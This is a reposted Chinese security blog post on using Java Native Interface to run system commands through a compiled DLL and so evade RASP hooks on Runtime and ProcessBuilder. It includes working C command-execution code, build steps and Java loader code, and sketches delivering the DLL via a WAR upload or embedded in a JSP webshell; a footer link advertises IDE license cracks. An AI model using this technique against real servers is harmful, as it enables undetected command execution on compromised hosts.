Java安全之JNI绕过RASP

Java安全之JNI绕过RASP0x00前言前面一直想看该JNI的相关内容,但是发现JNI的资料还是偏少。后面发现JNI在安全中应用非常的微妙,有意思。0x01JNI概述JNI的全称叫做(

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

Java安全之JNI绕过RASP

0x00 前言

前面一直想看该JNI的相关内容,但是发现JNI的资料还是偏少。后面发现JNI在安全中应用非常的微妙,有意思。

0x01 JNI概述

JNI的全称叫做(Java Native Interface),其作用就是让我们的Java程序去调用C的程序。实际上调用的并不是exe程序,而是编译好的dll动态链接库里面封装的方法。因为Java是基于C语言去实现的,Java底层很多也会去使用JNI。

在开发中运用到的也是比较多,比如在前面分析链的时候,追溯到一些底层实现代码的时候就可以看到一些方法是使用Native 来修饰的。这就说明他是一个c语言去实现的一个方法。

0x02 JNI实现

来看到下面这张图,该图是实现JNI编程的具体路线

Java安全之JNI绕过RASP

这里我大致分为五步:

1. 定义一个native修饰的方法
2. 使用javah进行编译 
3. 编写对应的c语言代码
4. 使用gcc编译成dll文件
5. 编写一个Java类使用System.loadLibrary方法,加载dll文件并且调用

按照步骤来实现一下

  1. 定义一个native修饰的方法
package com.test;

public class Command {
    public native int sum(int num1,int num2);

}

  1. 使用javah进行编译

首先使用javac编译成class文件

javac .\Command.java

然后使用javah生成c的头文件,切换到src目录下。后面发现其实可以不用编译成class文件。

JDK10移除了javah,需要改为javac-h参数的方式生产头文件,命令:

javac -cp . .\Command.java -h com.test.Command

然后执行命令

javah -cp . com.test.Command

Java安全之JNI绕过RASP

Java安全之JNI绕过RASP

这里可以看到有个Java_com_test_Command_sum的字符,前面的Java是固定的前缀,后面是类名,最后面的是该类中定义的方法。

而括号里面的4个参数,第一个是JNI环境变量对象,第二个是Java调用的对象,这里是jclass也就是一个class文件。后面两个则是传入的参数并且是int类型的。

里面的内容是javah基于刚刚的java代码自动生成的,不要轻易更改。在编写c代码的时候,需要导入该头文件

  1. 编写对应的c语言代码
#include "com_test_Command.h"
JNIEXPORT jint JNICALL Java_com_test_Command_sum
  (JNIEnv *env, jobject obj, jint num1, jint num2){
  return num1+num2;
  }
  void main(){}
  1. 使用gcc编译成dll文件
gcc -I "c:\ProgramFiles\Java\jdk1.7.0_75\include"  -I "c:\Program Files\Java\jdk1.7.0_75\include\win32"
    --shared JniClass.c
-o 1.dll

需要指定jdk的include和win32文件

或者可以这么写

gcc -I"%JAVA_HOME%\include" -I"%JAVA_HOME%\include\win32" -shared -o cmd.dll com_anbai_sec_cmd_CommandExecution.c。

mac 编译:

g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/darwin" -shared -o libcmd.jnilib com_anbai_sec_cmd_CommandExecution.cpp

linux编译:

g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o libcmd.so com_anbai_sec_cmd_CommandExecution.cpp

g++是用来编译c++的,均可使用。代码如果是c++写的,就可以使用g++来编译成dll一样可以调用。

这里先来编译一下

gcc -I "D:\JAVA_JDK\include"  -I "D:\JAVA_JDK\include\win32" -shared -o cmd.dll .\Command.c

Java安全之JNI绕过RASP

Java安全之JNI绕过RASP

重新在IDEA里面打开项目,并编写代码

package com.test;

public class test {


    public static void main(String[] args) {
        System.loadLibrary("cmd");
        Command command = new Command();
        int sum = command.sum(1, 2);
        System.out.println(sum);

    }
}

运行查看结果,查看是否能正常运行

然而这里发现爆了个这样的错误,在64位数的平台不能去调用32位数的dll文件,貌似是使用到了32位的gcc进行编译导致调用报错

Java安全之JNI绕过RASP

发现自己安装的是32位的gcc编译只能编译成32位的dll文件,后面来使用gcc 64 位的就可以了。

再次编译成gcc进行调用后,就可以进行执行。

Java安全之JNI绕过RASP

到了这里,就已经是调用了封装好的dll动态链接库文件里面封装的方法了。

0x03 JNI 绕过RASP 执行命令

在RASP里其实是Hook掉了一些RuntimeProcessBuilder 等类,但是Runtime.exec调用的是ProcessBuilder.start,ProcessBuilder.start的底层会调用ProcessImpl类。那么这时候只需要去Hook掉ProcessImpl就无法进行执行命令了。那么像这种基于堆栈调用去识别的该怎么去绕过呢?假设一个场景一个站点使用RASP,这时候如果上传一个webshell

那么这时候就会去用到JNI去调用该dll文件就可以进行一个绕过,可以先来实现这么一个功能,后续还需要考虑到的是怎么将几个文件封装到一起,打包成一个jsp文件进行上传。

首先还是需要在IDEA里面先去实现功能,基于上面代码去做一个修改

Command类:

package com.test;

public class Command {
    public native String exec(String cmd);
}

编译成.h c语言的头文件,内容如下:

/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class com_test_Command */

#ifndef _Included_com_test_Command
#define _Included_com_test_Command
#ifdef __cplusplus
extern "C" {
#endif

JNIEXPORT jstring JNICALL Java_com_test_Command_exec
  (JNIEnv *, jobject, jstring);

#ifdef __cplusplus
}
#endif
#endif

编写命令执行的C语言代码,由于不会C ,该段代码是网上找的

#include "com_test_Command.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int execmd(const char *cmd, char *result)
{
    char buffer[1024*12];              //定义缓冲区
    FILE *pipe = _popen(cmd, "r"); //打开管道,并执行命令
    if (!pipe)
        return 0; //返回0表示运行失败

    while (!feof(pipe))
    {
        if (fgets(buffer, 128, pipe))
        { //将管道输出到result中
            strcat(result, buffer);
        }
    }
    _pclose(pipe); //关闭管道
    return 1;      //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_com_test_Command_exec(JNIEnv *env, jobject class_object, jstring jstr)
{

    const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
    char result[1024 * 12] = ""; //定义存放结果的字符串数组
    if (1 == execmd(cstr, result))
    {
       // printf(result);
    }

    char return_messge[100] = "";
    strcat(return_messge, result);
    jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
    //system();

    return cmdresult;
}

使用命令将2个文件编译成dll动态链接库

Java安全之JNI绕过RASP

然后编写Java代码加载dll文件,调用C语言中封装的方法

package com.test;

public class test {


    public static void main(String[] args) {

        System.loadLibrary("cmd");
        Command command = new Command();
        String ipconfig = command.exec("ipconfig");
        System.out.println(ipconfig);
    }

}

Java安全之JNI绕过RASP

调用栈:

Java安全之JNI绕过RASP

命令就执行成功了,这里不是调用一些自带的Runtime等方法,而是调用dll文件中封装的方法,能够去绕过一些RASP的拦截。

目前我的设想是由两种方式在现实场景中去进行一个使用,一个是将dll文件都打包成一个war包,在一些tomcat管理后台的位置上传后,自动进行解压释放该dll文件,然后使用jsp去调用该dll文件,从而使得可以绕过执行命令。或者是可以使用远程调用的方式,这样就可以不用上传dll文件了, 这样做的目的是一般上传点之类的都不会允许dll文件进行上传。

还有一种方式是将dll文件编码后,内置到jsp中,执行的时候进行释放到当前文件目录下,进行调用。

参考文章

https://cloud.tencent.com/developer/article/1541566
https://javasec.org/javase/JNI/

吹爆花猫大哥的Javasec文章,在Javasec的JNI文中用到的是c++来进行一个代码实现,实际效果差不多。具体的在本文中就不做实现。Javasec中有现成代码。

0x04 结尾

其实这种方式还是有办法查杀到的,具体参考该篇文章:JNI编程怎么跟踪调试dll

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119899.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • idea激活码2022-激活码分享2022.02.14

    (idea激活码2022)本文适用于JetBrains家族所有ide,包括IntelliJidea,phpstorm,webstorm,pycharm,datagrip等。IntelliJ2021最新激活注册码,破解教程可免费永久激活,亲测有效,下面是详细链接哦~https://javaforall.net/100143.html…

    2022年4月1日
    1.6K
  • JavaScript SheetJS将 Html 表转换为 Excel 文件

    JavaScript SheetJS将 Html 表转换为 Excel 文件在本教程中,我们可以在客户端从我们的HTML表数据创建一个excel文件。即使用javascript将HTML表导出到Excel(.xlsx)。有许多可用的库可以从HTML表创建CSV文件或xlsx文件,但所有库都给出了提示消息。那就是当我们打开该excel文件时,它会提示一条消息,文件名的文件格式和扩展名不匹配。该文件可能已损坏或不安全。今天这篇文章将使用SheetJS,它允许我们在没有任何提示信息的情况下创建和打开excel文件,这是纯javascript的。使用..

    2022年7月17日
    18
  • Windows10安装 cuDNN 方法

    Windows10安装 cuDNN 方法安装好CUDA后安装cudnn下载地址:cuDNNDownload需要注册信息,然后找CUDA对应的版本下载,所以要记住自己是哪个版本,我是10.1就选择第一项。下载下来是个压缩包,解压后,里面有三个文件夹。找到CUDA的安装路径,我的是C:\ProgramFiles\NVIDIAGPUComputingToolkit\CUDA\v10.1配置:复制cuD…

    2022年5月3日
    47
  • 【日用】获取pfx证书序列号[通俗易懂]

    【日用】获取pfx证书序列号[通俗易懂]一、使用java代码packagecom.sanglp.util;importjava.io.ByteArrayInputStream;importjava.io.File;importjava.io.IOException;importjava.math.BigInteger;importjava.security.KeyStore;importjava.security.cert.X509Certificate;importjava.util.Enumeration;

    2022年5月2日
    65
  • Hook 技术「建议收藏」

    Hook 技术「建议收藏」一、原理钩子(Hook),是Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。当消息到达后,在目标窗口处理函数之前处理它。钩子机制允许应用程序截获处理window消息或特定事件。  钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。每当特定的消息发出,在没有到达目的窗口前,钩子程序就先捕获该消息

    2022年5月26日
    41
  • apache负载均衡配置_apache反向代理配置

    apache负载均衡配置_apache反向代理配置一般来说,负载均衡就是将客户端的请求分流给后端的各个真实服务器,达到负载均衡的目的。还有一种方式是用两台服务器,一台作为主服务器(Master),另一台作为热备份(HotStandby),请求全部分给主服务器,在主服务器当机时,立即切换到备份服务器,以提高系统的整体可第一次看到这个标题时我也很惊讶,Apache居然还能做负载均衡?真是太强大了。经过一番调查后发现的确可以,而且功能一点都不差。这都归功于mod_proxy这个模块。不愧是强大的Apache啊。废话少说,下面就来解释一下负载均衡的设置方..

    2025年10月10日
    2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号